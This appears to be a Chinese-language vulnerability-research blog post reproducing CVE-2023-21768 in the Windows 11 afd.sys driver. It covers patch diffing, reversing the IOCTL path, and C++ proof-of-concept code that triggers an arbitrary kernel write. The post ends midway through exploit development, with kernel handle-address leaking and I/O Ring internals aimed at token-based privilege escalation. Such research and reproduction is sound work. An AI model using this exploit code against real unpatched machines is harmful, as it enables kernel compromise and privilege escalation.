挺久没有复现过漏洞了,在自己github仓库翻到了这个感觉挺有意思的

公众号:

或许我们的公众号会有更多你感兴趣的内容

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞[1],漏洞点位于afd.sys,该漏洞仅在win11版本上有效,具体如下:

image-20260520105307855

我复现的环境是

image-20260520141919553

漏洞点定位

在微软的网站可以找到补丁并下载[2],最好关闭虚拟机中的windows更新后安装,diff对比两个的afd.sys。关于bindiff不支持的ida9.1版本的问题(9.0+用了新的api,不兼容旧的接口),所以改用diaphora[3],将 diaphora整个复制到ida的插件目录plugins就行。具体使用参考[4]

image-20260520130012593

image-20260520132253632

通过对补丁的分析,修复函数为AfdNotifyRemoveIoCompletion

image-20260520132413650

漏洞分析

先根据结果先入为主的讲讲为什么有漏洞,在漏洞函数中

__int64 __fastcall 
AfdNotifyRemoveIoCompletion(
char AccessMode,
PVOID Object,
volatile void **MmUserProbeAddress)

MmUserProbeAddress是一个可以被用户控制的参数,在

v8 = IoRemoveIoCompletion(Object_1, Pool2, P, (unsigned int)n0x10, &i_1, AccessMode, v13, 0);
if ( !v8 )
{
//...
*(_DWORD *)MmUserProbeAddress[3] = i_1;
//...
}

用户可以构造一个在MmUserProbeAddress[3]处,指向任意内核地址的指针,这样这段代码就会将i_1的值写入,实现任意地址写

关于IoRemoveIoCompletion函数涉及到端口调用机制的知识点后面会讲。这里需要知道的是 i_1也是可以被我们在MmUserProbeAddress中的参数控制的

而这组合就可以形成任意地址写,再通过任意地址写可以任意地址读

调用链分析

AfdNotifySock(虚函数)->AfdNotifyRemoveIoCompletion

image-20260520132810822

有两条路,先看看ioctl的调用

image-20260520132828122

image-20260520145745909

计算偏移得到73位,应该是 AfdImmediateCallDispatch[0x49],另外一个值低位就应该是0x12124,因为最低为被抹除了,所以低位符合均可,但是下面还有段check

image-20260520205434451

image-20260520205524764

所以能用的ioctl是0x12127。根据参数传递找到上层

image-20260520150650364

image-20260520150824470

查找对AfdFastIoDeviceControl的调用又是函数表

image-20260520133036166

image-20260520133140954

计算偏移是AfdFastIoDispatch[10],再查找AfdFastIoDispatch的引用

image-20260520133154794

image-20260520133209187

现在是

DriverObject->FastIoDispatch[10]= AfdFastIoDispatch[10]
--> AfdFastIoDeviceControl(.., 0x12124, ...) = AfdImmediateCallDispatch[73]
--> AfdNotifySock(v10 = ObReferenceObjectByHandle,且v10 >= 0)
--> AfdNotifyRemoveIoCompletion

同理从AfdDispatchImmediateIrp

DriverObject->MajorFunction[14]
--> AfdDispatchDeviceControl
--> AfdIrpCallDispatch
--> AfdDispatchImmediateIrp
--> AfdNotifySock
--> AfdNotifyRemoveIoCompletion

整理后的逆向伪代码结果是

image-20260520134645901

PoC编写

现在尝试编写触发的PoC。

按照上面的分析顺序,尝试从FastIoDispatch开始

FastIoDispatch

指向定义驱动程序快速 I/O 入口点 的FAST_IO_DISPATCH结构的指针。 此可选指针指向驱动程序的备用入口点数组,以支持“快速 I/O”。 使用单独的参数直接调用驱动程序例程,而不是使用标准 IRP 调用机制来执行快速 I/O。 请注意,这些函数只能用于同步 I/O,以及缓存文件时。 此成员仅由文件系统驱动程序(FSD)和网络传输驱动程序使用[5]

刚好上面的第10号调用就是PFAST_IO_DEVICE_CONTROL FastIoDeviceControl

image-20260520151854756

尝试再afd.sys中下断点捕获上面分析的AfdNotifyRemoveIoCompletion等函数的正常调用,从正常调用中分析路径

image-20260520181650905

关于参数是

0: kd> k
# Child-SP RetAddr Call Site
00 ffffdc8c`b0926dd0 fffff803`80ec727e afd!AfdFastIoDeviceControl+0xf26
01 ffffdc8c`b0927170 fffff803`80ec5816 nt!IopXxxControlFile+0x46e
02 ffffdc8c`b0927380 fffff803`80c2fa68 nt!NtDeviceIoControlFile+0x56
03 ffffdc8c`b09273f0 00007ffc`dc5aeda4 nt!KiSystemServiceCopyEnd+0x28
04 000000fb`fe3fe9a8 00007ffc`d8e391f0 0x00007ffc`dc5aeda4
05 000000fb`fe3fe9b0 000002c9`7263e0b0 0x00007ffc`d8e391f0
06 000000fb`fe3fe9b8 00000000`00000000 0x000002c9`7263e0b0
0: kd> r
rax=fffff80384bc0000 rbx=0000000000000000 rcx=0000000000000022
rdx=ffffdd8abf88f001 rsi=0000000000000658 rdi=ffff95064d4a85a0
rip=fffff80384bc6906 rsp=ffffdc8cb0926dd0 rbp=ffffdc8cb09274e0
r8=0000000000000658 r9=0000000000000000 r10=fffff80380ac0ce0
r11=ffff717d0a800000 r12=0000000000000000 r13=ffff95064d032a70
r14=0000000000000001 r15=000000000001208b

发现调用来自edge浏览器

image-20260520181919852

.process /r /p ffff95064d4570c0进去看看

image-20260520182128764

出现了mswsock,搜了搜有如下介绍:

AFD.sys——即“辅助功能驱动程序”(Ancillary Function Driver)——是一个体积虽小却至关重要的 Windows 内核驱动程序。它位于 C:\Windows\System32\drivers 目录下,并随系统一同启动;其核心职能是将应用程序发出的 Winsock 调用(如 send、recv、connect 等)翻译为底层系统能够理解的 IRP(I/O 请求包),随后由 tcpip.sys 及相关组件接手处理。一旦该文件缺失,浏览器、Spotify 或远程桌面等应用程序将无法感知网络连接——所有的 TCP/UDP 流量也将随之彻底中断[6]

Idea

所有我们可以使用创建Tcp连接来使用afd.sys。类似的发现getsockname也可以走到这里,这样编写就容易些了

image-20260520184753821

使用如下代码测试

void createSocket() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);

SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in addr = { 0 };

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;

addr.sin_port = 0; //自动分配端口

bind(s, (sockaddr*)&addr, sizeof(addr));

sockaddr_in localAddr;
int len = sizeof(localAddr);

getsockname(
s,
(sockaddr*)&localAddr,
&len
);

std::cout << "Assigned port: "
<< ntohs(localAddr.sin_port)
<< "\n";

closesocket(s);
WSACleanup();

return;
}

image-20260520185046810

尝试触发漏洞函数

现在尝试用NtDeviceIoControlFile的方式写一写

在ws2_32.dll中使用getsockname

image-20260520190822185

相比原始参数多穿了一个buffer,然后根据堆栈调用发现mswsock中

image-20260520191306593

没招了,结构体有点复杂,动调试试

1: kd> g
Breakpoint 3 hit
mswsock!WSPGetSockName+0x19e:
0033:00007ffc`d8e3c66e 0f1f440000 nop dword ptr [rax+rax]
1: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=00007ffcdc5aeda4
rdx=0000000000000000 rsi=000000954f0ff790 rdi=000001c38f38c540
rip=00007ffcd8e3c66e rsp=000000954f0ff6d0 rbp=000000954f0ff888
r8=000000954f0ff6c8 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=000001c38f37bf00 r13=00000000000000f8
r14=000001c38f38c620 r15=000001c38f38c620
iopl=0 nv up ei pl zr na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mswsock!WSPGetSockName+0x19e:
0033:00007ffc`d8e3c66e 0f1f440000 nop dword ptr [rax+rax]
  • *(HANDLE *)(v10 + 8):00000000`000000f8

    image-20260520191722574

    ?居然和socket的值一样

    image-20260520192043643

    image-20260520192020705

  • Value[2]:00000000`00000000

    image-20260520191752443

  • OutputBufferLength:00000000`00000010

    image-20260520192713595

    image-20260520192658701

NtDeviceIoControlFile(
reinterpret_cast<HANDLE>(s),
NULL,
nullptr,
nullptr,
&IoStatusBlock,
0x1202F,
nullptr,
0,
output,
0x10);

image-20260520194034967

image-20260520194126547

image-20260520194055142

这里对v65的检查没有过,经过使用getsockname的调试发现是正常的

image-20260520194800717

image-20260520195252362

计算发现使用ioctl的0x1202F可以到达,并且0xb的结果也符合

image-20260520195520733

那我们不探究为什么getsockname函数表为空这个问题,直接使用0x12127试试看

image-20260520205720999

image-20260520205939288

成功召唤AfdNotifySock,但是走不进AfdNotifyRemoveIoCompletion,应该是参数有点问题

image-20260520210152940

参数逆向

AfdNotifySock

AfdNotifySock函数调用的参数是

AfdNotifyRemoveIoCompletion(
AccessMode,
Object__1,
(volatile void **)MmUserProbeAddress_1
)
  • AccessMode:KPROCESSOR_MODE类型,是AfdNotifySock函数接受的参数,应该是UserMode=1

    typedef enum _KPROCESSOR_MODE {
    KernelMode,
    UserMode,
    MaximumMode
    } KPROCESSOR_MODE;
  • Object__1:一个句柄,来源是

    ObReferenceObjectByHandle(
    Handle,
    2u,
    IoCompletionObjectType,
    AccessMode,
    &Object_,
    0);

这里我先假设结构体

struct afdStruct
{
HANDLE validHandle;
char unknown[24];
DWORD loopCount1;
char unknownx[256];
};

其中有条件,但是按照之前的传值AccessMode=1=UserMode(正常调用getsockname中的r14寄存器)

MmUserProbeAddress_1 = MmUserProbeAddress;
if ( AccessMode )
{
if ( (unsigned __int64)MmUserProbeAddress >= ::MmUserProbeAddress )
MmUserProbeAddress_1 = (afdStruct *)::MmUserProbeAddress;
v29 = *(_OWORD *)&MmUserProbeAddress_1->validHandle;
v30 = *(_OWORD *)&MmUserProbeAddress_1->unknown[8];
v31 = *(_OWORD *)&MmUserProbeAddress_1->loopCount1;
MmUserProbeAddress_1 = (afdStruct *)&v29;
}

对于KernelMode且用户态地址合法,MmUserProbeAddress_1指向MmUserProbeAddress在栈上的复制的值,避免直接使用用户态内存MmUserProbeAddress造成的UAF(会不会这里出现过事故😂)

接下来就是一堆对用户传过来的结构体的判断

  if ( !MmUserProbeAddress_1->loopCount1 )
goto retError;
if ( *(_DWORD *)&MmUserProbeAddress_1->unknownx[4] )
{
if ( !*(_QWORD *)&MmUserProbeAddress_1->unknown[16] || !*(_QWORD *)&MmUserProbeAddress_1->unknown[8] )
goto retError;
}
else if ( *(_QWORD *)&MmUserProbeAddress_1->unknown[8] || *(_DWORD *)MmUserProbeAddress_1->unknownx )
{
retError:
v10 = 0xC000000D;
goto LABEL_45;
}

根据其含义修改下结构体

struct afdStruct
{
HANDLE validHandle;
char unknown1[8];
DWORD64 val1;
DWORD64 val2;
DWORD loopCount1;
DWORD val3;
DWORD val4;
};

得到

  if ( !MmUserProbeAddress_1->loopCount1 )
goto retError;
if ( MmUserProbeAddress_1->val4 )
{
if ( !MmUserProbeAddress_1->val2 || !MmUserProbeAddress_1->val1 )
goto retError;
}
else if ( MmUserProbeAddress_1->val1 || MmUserProbeAddress_1->val3 )
{
retError:
v10 = 0xC000000D;
goto LABEL_45;
}

推导出一条可行的条件,基本上全为0了

MmUserProbeAddress_1->loopCount1 != 0
MmUserProbeAddress_1->val4 = 0
MmUserProbeAddress_1->val1 = 0
MmUserProbeAddress_1->val3 = 0

在这里尝试编写下代码

typedef struct _afdStruct
{
HANDLE validHandle;
char unknown1[8];
DWORD64 val1;
DWORD64 val2;
DWORD loopCount1;
DWORD val3;
DWORD val4;
}afdStruct, * pAfdStruct;

void createSocket() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);

SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in addr = { 0 };

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;

// 0 = 自动分配端口
addr.sin_port = 0;

bind(s, (sockaddr*)&addr, sizeof(addr));

sockaddr_in localAddr;
int len = sizeof(localAddr);

char output[0x1000] = { 0 };
_IO_STATUS_BLOCK IoStatusBlock = { 0 };
IoStatusBlock.Information = 0x10;
afdStruct input = { 0 };
input.validHandle = reinterpret_cast<HANDLE>(s);
input.loopCount1 = 1;

getchar();
NtDeviceIoControlFile(reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x12127, reinterpret_cast<PVOID>(&input), sizeof(afdStruct), nullptr, 0x00);
std::cout << "Assigned port: "
<< ntohs(localAddr.sin_port)
<< "\n";


closesocket(s);
WSACleanup();
}

成功走到ObReferenceObjectByHandle

image-20260521211102548

但是调用失败,STATUS_OBJECT_TYPE_MISMATCH,对象类型不匹配

image-20260521212059855

v10满足条件,则ObReferenceObjectByHandle就必须调用成功

//...
Handle = MmUserProbeAddress_1->validHandle;
Object_ = 0;
v10 = ObReferenceObjectByHandle(
Handle,
2u,
IoCompletionObjectType,
AccessMode,
&Object_,
0);
//....
if ( v10 >= 0 ) {
//....一眼觉得不需要管这里面的if
// 最后跳出都会到 AfdNotifyRemoveIoCompletion
// 但是其中用了 try catch,详细见后续分析
v10 = AfdNotifyRemoveIoCompletion(
AccessMode, //UserMode
Object__1,
(volatile void **)&MmUserProbeAddress_1->validHandle
);
}

ObReferenceObjectByHandle: 根据用户传入的 HANDLE,查找对应的内核对象,校验类型与权限,然后返回对象指针(返回到Object_)并增加引用计数

NTSTATUS ObReferenceObjectByHandle(
[in] HANDLE Handle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_TYPE ObjectType,
[in] KPROCESSOR_MODE AccessMode,
[out] PVOID *Object,
[out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);

IoCompletionObjectType下的HANDLE类型必须对应一个 IoCompletion 对象。ChatGPT顺带给出了如下回答

4. 用户态如何创建 IoCompletion
用户态:

HANDLE h = CreateIoCompletionPort(
INVALID_HANDLE_VALUE,
NULL,
0,
0
);

尝试讲afdstruct的handle换成CreateIoCompletionPort创建的调用成功

image-20260521212810200

本以为后续没有阻拦了,结果发现了try catch块,还是得小心调整代码

image-20260521213209912

发现结构体需要更新

struct afdStruct
{
HANDLE validHandle;
void *ptr;
DWORD64 val1;
DWORD64 val2;
DWORD loopCount1;
DWORD val3;
DWORD val4;
char unknownx[256];
};

image-20260521213707592

如果ptr是nullptr就会出现空指针访问,重新编写代码,设置ptr为为任意一个存在的指针

image-20260521214444952

AfdNotifyRemoveIoCompletion

参数中ida默认传递了afdStruct的handle地址,其实就是把afdStruct传递过去

val4 = MmUserProbeAddress->val4;
if ( !val4 )
//...
goto EXIT;
Length_1 = 0x20 * val4;
if ( is_mul_ok(val4, 0x20u) ) // 检查 val4*0x20 是否会溢出
{
ntstatus = STATUS_SUCCESS;
Length = -1;
}
//...
if ( ntstatus >= 0 )
{
//...
Length = Length_1;
n4 = 8;
ProbeForWrite(MmUserProbeAddress->val1, Length, n4);
//...
Pool2 = MmUserProbeAddress->val1;
Pool2_2 = Pool2;
LABEL_20:
val3 = MmUserProbeAddress->val3;
if ( val3 == -1 )
{
v13 = 0;
}
else
{
v24 = -10000 * val3;
v13 = &v24;
}
if ( val4 > 0x10 )
{
P = ExAllocatePool2(66, 8LL * val4, 1315202625);
P_2 = P;
if ( P )
goto LABEL_27;
LODWORD(val4) = 16;
}
P = P_1;
P_2 = P_1;
LABEL_27:
ntstatus = IoRemoveIoCompletion(Object_1, Pool2, P, val4, &i_1, shouldBeUserMode, v13, 0);

再结合之前的条件

MmUserProbeAddress->val4 != 0
MmUserProbeAddress->val2 != 0
MmUserProbeAddress->val1 != 0 (是一个合法地址)

构造结构体

typedef struct _afdStruct
{
HANDLE validHandle;
void* ptr;
void* valPtr1;
DWORD64 val2;
DWORD loopCount1;
DWORD val3;
DWORD val4;
}afdStruct, * pAfdStruct;

afdStruct input = { 0 };
char junkbuffer[0x1000] = { 0 };
char junkbuffer2[0x1000] = { 0 };
input.validHandle = ioh;
input.loopCount1 = 1;
input.valPtr1 = reinterpret_cast<void*>(junkbuffer2);
input.val2 = 1;
input.val4 = 1;
input.ptr = reinterpret_cast<void*>(junkbuffer);

image-20260521222924270

成功触发IoRemoveIoCompletion

image-20260521223309992

3: kd> r
rax=0000000000000102 rbx=0000009cd4afd970 rcx=f96281d095f90000
rdx=0000000000000102 rsi=ffffd50925fd6a10 rdi=ffffd50925fd6a30
rip=fffff8047068fb07 rsp=ffffd50925fd69b0 rbp=ffffd50925fd74e0
r8=0000000000000001 r9=ffffd50925fd6a10 r10=0000000000000000
r11=ffffd50925fd6480 r12=0000000000000001 r13=0000000000000020
r14=ffffd50925fd6d60 r15=0000000000000001
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
afd!AfdNotifyRemoveIoCompletion+0x1eb:
fffff804`7068fb07 8bf0 mov esi,eax

image-20260521183902685

明显让IoRemoveIoCompletion返回0才行。这里返回0000000000000102是STATUS_TIMEOUT,consumer 等不到 producer。

关于IoRemoveIoCompletion搜索发现深入解析Windows操作系统[8]有线索(Part1的6.4.7 I/O完成端口)

image-20260521200546974

image-20260521201309497

我们需要给这个创建的io分配一个完成包,使用NtSetIoCompletion或者PostQueuedCompletionStatus可以做到

4. 动态链接(使用 NtSetIoCompletion)
方法 1:从 ntdll 获取
typedef NTSTATUS (NTAPI *NtSetIoCompletion_t)(
HANDLE,
PVOID,
PVOID,
NTSTATUS,
ULONG_PTR
);
NtSetIoCompletion_t NtSetIoCompletion =
(NtSetIoCompletion_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtSetIoCompletion"
);
5. 也可以直接用 WinAPI(推荐)

更安全标准方式:

PostQueuedCompletionStatus(
hPort,
0x100,
(ULONG_PTR)0x1111,
(LPOVERLAPPED)0x2222
);

本质等价于:

NtSetIoCompletion
typedef NTSTATUS(NTAPI* NtSetIoCompletion_t)(
HANDLE,
PVOID,
PVOID,
NTSTATUS,
ULONG_PTR
);
//CreateIoCompletionPort后
NtSetIoCompletion_t NtSetIoCompletion =
(NtSetIoCompletion_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtSetIoCompletion"
);

NtSetIoCompletion(
ioh,
nullptr,
nullptr,
0,
0x1 // Bytes
);

image-20260521224443264

最后成功触发漏洞

image-20260521225048345

现在回过头来看ida的伪代码就清楚很多了

image-20260522090549496

MmUserProbeAddress->val2可以设置为我们想要写入的地址,写入值i_1IoRemoveIoCompletion决定的。但是这里的IoRemoveIoCompletion是extern的函数,用cff看下pe的iat表在那个外部dll中

image-20260522091250622

再ida中分析下函数的赋值情况

image-20260522091819444

image-20260522091833425

image-20260522091843965

最后i_1的值取决于

v10 = KeRemoveQueueEx(Object, shouldBeUserMode, shouldBe0, Timeout, P, val4);

KeRemoveQueueEx继续追踪

image-20260522092600997

image-20260522092628727

如果链表长度足够,那么count_1最后会变为val4的值然后返回

image-20260522093548112

写代码试试,首先更新结构体定义

struct afdStruct
{
HANDLE validHandle;
void *ptr;
void *valPtr1;
void *valPtr2; //unsigned int*也可以
DWORD loopCount1;
DWORD val3;
DWORD val4;
char unknownx[256];
};

尝试写入0x1

void createSocket() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);

SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in addr = { 0 };

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;

// 0 = 自动分配端口
addr.sin_port = 0;

bind(s, (sockaddr*)&addr, sizeof(addr));

sockaddr_in localAddr;
int len = sizeof(localAddr);

char output[0x1000] = { 0 };
_IO_STATUS_BLOCK IoStatusBlock = { 0 };
IoStatusBlock.Information = 0x10;


HANDLE ioh = CreateIoCompletionPort(
INVALID_HANDLE_VALUE,
NULL,
0,
0
);

NtSetIoCompletion_t NtSetIoCompletion =
(NtSetIoCompletion_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtSetIoCompletion"
);

NtSetIoCompletion(
ioh,
nullptr,
nullptr,
0,
0x1 // Bytes
);

afdStruct input = { 0 };
char junkbuffer[0x1000] = { 0 };
char junkbuffer2[0x1000] = { 0 };
char junkbuffer3[0x1000] = { 0 };
input.validHandle = ioh;
input.loopCount1 = 1;
input.valPtr1 = reinterpret_cast<void*>(junkbuffer2);
input.valPtr2 = reinterpret_cast<void*>(junkbuffer3);
input.val4 = 1;
input.ptr = reinterpret_cast<void*>(junkbuffer);

getchar();
NtDeviceIoControlFile(reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x12127, reinterpret_cast<PVOID>(&input), sizeof(afdStruct), nullptr, 0x00);
std::cout << "Assigned port: "
<< ntohs(localAddr.sin_port)
<< "\n";
Debug::HexDump(junkbuffer3, 0x30);

closesocket(s);
WSACleanup();
}

image-20260522095414275

input.val4 = 2;调试后发现需要构造完整的io完成包

NtSetIoCompletion(
ioh,
nullptr,
nullptr,
0,
0x1 // Bytes
);
NtSetIoCompletion(
ioh,
nullptr,
nullptr,
0,
0x1 // Bytes
);

afdStruct input = { 0 };
char junkbuffer[0x1000] = { 0 };
char junkbuffer2[0x1000] = { 0 };
char junkbuffer3[0x1000] = { 0 };
input.validHandle = ioh;
input.loopCount1 = 1;
input.valPtr1 = reinterpret_cast<void*>(junkbuffer2);
input.valPtr2 = reinterpret_cast<void*>(junkbuffer3);
input.val4 = 2;
input.ptr = reinterpret_cast<void*>(junkbuffer);

image-20260522100210622

经过后续的修改发现比较稳定的结果是0x140=320,可能是使用NtSetIoCompletion一次最多能放入生产者消费者队列的大小,并且也有概率失败。

DWORD expectVal = 0x140;
for (size_t i = 0; i < expectVal; i++)
{

NTSTATUS ret = NtSetIoCompletion(
ioh,
nullptr,
nullptr,
0,
0x1 // Bytes
);
if (!NT_SUCCESS(ret)) {
std::cout << "[!] error at index." << std::hex << i << std::dec << "\n";
break;
}
}
Sleep(expectVal * 5);

//...
input.val4 = expectVal;
//...

image-20260522102028947

image-20260522103447873

这种限制导致我们只能实现任意单字节的写,并且非常不稳定不过我们依旧能够实现任意地址写0x1

精简一些写为PoC,完整内容在:https://github.com/Joe1sn/CVE_2023_21768

bool PoC() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);

SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in addr = { 0 };

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;

// 0 = 自动分配端口
addr.sin_port = 0;

bind(s, (sockaddr*)&addr, sizeof(addr));

sockaddr_in localAddr;
int len = sizeof(localAddr);

char output[0x1000] = { 0 };
_IO_STATUS_BLOCK IoStatusBlock = { 0 };
IoStatusBlock.Information = 0x10;


HANDLE ioh = CreateIoCompletionPort(
INVALID_HANDLE_VALUE,
NULL,
0,
0
);

NtSetIoCompletion_t NtSetIoCompletion =
(NtSetIoCompletion_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtSetIoCompletion"
);
DWORD expectVal = 2;
for (size_t i = 0; i < expectVal; i++)
{

NTSTATUS ret = NtSetIoCompletion(
ioh,
nullptr,
nullptr,
0,
0x1 // Bytes
);
if (!NT_SUCCESS(ret)) {
std::cout << "[!] error at index." << std::hex << i << std::dec << "\n";
break;
}
}

Sleep(expectVal * 8);

afdStruct input = { 0 };
char junkbuffer[0x1000] = { 0 };
char junkbuffer2[0x1000] = { 0 };
char junkbuffer3[0x1000] = { 0 };
input.validHandle = ioh;
input.loopCount1 = 1;
input.valPtr1 = reinterpret_cast<void*>(junkbuffer2);
input.valPtr2 = reinterpret_cast<void*>(junkbuffer3);
input.val4 = expectVal;
input.ptr = reinterpret_cast<void*>(junkbuffer);

// getchar();
NtDeviceIoControlFile(reinterpret_cast<HANDLE>(s), NULL, nullptr, nullptr, &IoStatusBlock, 0x12127, reinterpret_cast<PVOID>(&input), sizeof(afdStruct), nullptr, 0x00);
std::cout << "Assigned port: "
<< ntohs(localAddr.sin_port)
<< "\n";
Debug::HexDump(junkbuffer3, 0x20);
std::cout << "[*] expect: 0x" << std::hex << expectVal << ", arbitrary write to 0x" << *reinterpret_cast<DWORD*>(junkbuffer3) << std::dec << "\n";
if (*reinterpret_cast<DWORD*>(junkbuffer3) == expectVal) {
std::cout << "==========================================================\n";
std::cout << "====congratulations===congratulations===congratulations===\n";
std::cout << "==========================================================\n";
std::cout << "[WIN] vulnerable with " << CVE_2023_21768::name << "\n";
std::cout << "[WIN] pathch for this vuln is at " << CVE_2023_21768::mslink << "\n";
return true;
}
closesocket(s);
WSACleanup();
return false;
}

206f75dc9cd7bdf2bbf8ca267ff5fd4c

EXP编写

关于句柄表

我们的目的是进行提权,所以需要知道内核和Ring3进程中Token的位置。对于一个进程存在着一个句柄表。在EPROCESS->ObjectTable

image-20260522163752181

可以通过NtQuerySystemInfomation遍历任意进程的句柄表。同时通过调试发现对应进程EPROCESS的地址句柄的值为4

image-20260522163624716

尝试编写查询句柄内核地址的代码

bool FindHandleObject(DWORD targetPid, ULONG_PTR targetHandle, ULONG_PTR result) {
auto NtQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation"
);

if (!NtQuerySystemInformation)
{
std::cout << "[-] Failed to get NtQuerySystemInformation\n";
return false;
}

ULONG bufferSize = 0x10000;
std::vector<BYTE> buffer(bufferSize);

NTSTATUS status;
ULONG returnLength = 0;

while (true)
{
status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation,
buffer.data(),
bufferSize,
&returnLength
);

if (status == STATUS_INFO_LENGTH_MISMATCH)
{
bufferSize *= 2;
buffer.resize(bufferSize);
continue;
}

break;
}

if (!NT_SUCCESS(status))
{
std::cout << "[-] NtQuerySystemInformation failed: "
<< std::hex << status << std::endl;
return false;
}

auto handleInfo =
(PSYSTEM_HANDLE_INFORMATION_EX)buffer.data();

for (ULONG_PTR i = 0; i < handleInfo->NumberOfHandles; i++)
{
auto& entry = handleInfo->Handles[i];

if ((DWORD)entry.UniqueProcessId != targetPid)
continue;

if (entry.HandleValue != targetHandle)
continue;

*reinterpret_cast<DWORD64*>(result) = \
reinterpret_cast<DWORD64>(entry.Object);
return true;
}

std::cout << "[-] Handle not found\n";
return false;
}

image-20260522170637951

任意地址读写

由上可以得到system和ring3进程的token地址,但是要想提权还得读取到system的token值。问了问GPT如何存在任意地址写1有什么利用方式,比较稳妥的有IO Ring的利用,也是[9]使用的方法

image-20260522173609496

IO Ring 使用

简而言之,I/O 环是一种新的异步 I/O 机制,它允许应用程序将多达 0x10000 个 I/O 操作排队,并使用单个 API 调用一次性提交它们。[10]

就是将原来的io操作从召唤syscal进行 rw,变成了向内核提交任务到任务队列(SQ,Submission Queue),内核消费完成后,写到完成队列(CQ,Completion Queue)。两个队列均是循环队列。

image-20260522194516424

具体来说的话,创建一个ioring会在ring3和ring0同时创建两个结构体

image-20260523143642894

  • HIORING->RegBufferArray 就是 IORING_OBJECT->RegBuffers
  • HIORING->BufferArraySize就是IORING_OBJECT->RegBuffersCount

并且每个队列条目(NT_IORING_SQE)都包含有关所请求操作的数据:文件句柄(HANDLE)、文件偏移量(FileOFfset)、输出缓冲区基址(Buffer)、偏移量(BufferOffset)以及要读取的数据量(BufferSize)。它还包含一个OpCode用于指定所请求操作的字段。

我是爱写demo的,写一个试试,还是直接用[10]中的IoRingKernelBase调试,稍微修改了下

void ioCompletionTest() {
HRESULT result;
HIORING handle;
IORING_CREATE_FLAGS flags;
IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(NULL);
IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromPointer(NULL);
UINT32 submittedEntries;
HANDLE hFile = NULL;
ULONG sizeToRead = 0x200;
PVOID* buffer = NULL;
ULONG64 endOfBuffer;

flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
result = CreateIoRing(IORING_VERSION_1, flags, 1, 1, &handle);
if (!SUCCEEDED(result))
{
printf("Failed creating IO ring handle: 0x%x\n", result);
goto Exit;
}
ULONG_PTR ioRingKernelAddr;
printf("result kernel addr %p\n", exploit::memtools::FindHandleObject(GetCurrentProcessId(), *reinterpret_cast<HANDLE*>(&handle+), reinterpret_cast<ULONG_PTR>(&ioRingKernelAddr)));
getchar();
hFile = CreateFile(L"C:\\Windows\\System32\\notepad.exe",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Failed opening file handle: 0x%x\n", GetLastError());
goto Exit;
}
requestDataFile = IoRingHandleRefFromHandle(hFile);
buffer = (PVOID*)VirtualAlloc(NULL,
sizeToRead,
MEM_COMMIT,
PAGE_READWRITE);
if (buffer == NULL)
{
printf("Failed to allocate memory\n");
goto Exit;
}
requestDataBuffer = IoRingBufferRefFromPointer(buffer);
result = BuildIoRingReadFile(handle,
requestDataFile,
requestDataBuffer,
sizeToRead,
0,
NULL,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring read file structure: 0x%x\n", result);
goto Exit;
}

result = SubmitIoRing(handle, 1, 10000, &submittedEntries);
if (!SUCCEEDED(result))
{
printf("Failed submitting IO ring: 0x%x\n", result);
goto Exit;
}
printf("Data from file:\n");
endOfBuffer = (ULONG64)buffer + sizeToRead;
for (; (ULONG64)buffer < endOfBuffer; buffer++)
{
printf("%p ", *buffer);
}
printf("\n");

Exit:
if (handle != 0)
{
CloseIoRing(handle);
}
if (hFile)
{
NtClose(hFile);
}
if (buffer)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
}
}

nt!NtCreateIoRing下断点,它会调用ntkrnlmp!ObCreateObjectEx创建内核对象,这个函数原型大致为

NTSTATUS
ObCreateObjectEx(
KPROCESSOR_MODE ProbeMode,
POBJECT_TYPE ObjectType,
POBJECT_ATTRIBUTES ObjectAttributes,
KPROCESSOR_MODE OwnershipMode,
PVOID ParseContext,
ULONG ObjectSize,
ULONG PagedPoolCharge,
ULONG NonPagedPoolCharge,
PVOID *Object,
OB_EXTENDED_PARSE_PARAMETERS *ExtendedParameters
);

PVOID *Object参数就是返回的对象指针的指针(所以要找两次),最终指向的Object的Body部分,并且参数位于第9个,是返回在栈上的:

3: kd> dq rsp+40 L1
ffffd509`238671b0 ffffd509`238671c8
3: kd> dq ffffd509`238671c8 L1
ffffd509`238671c8 ffff9f82`2dac18f0

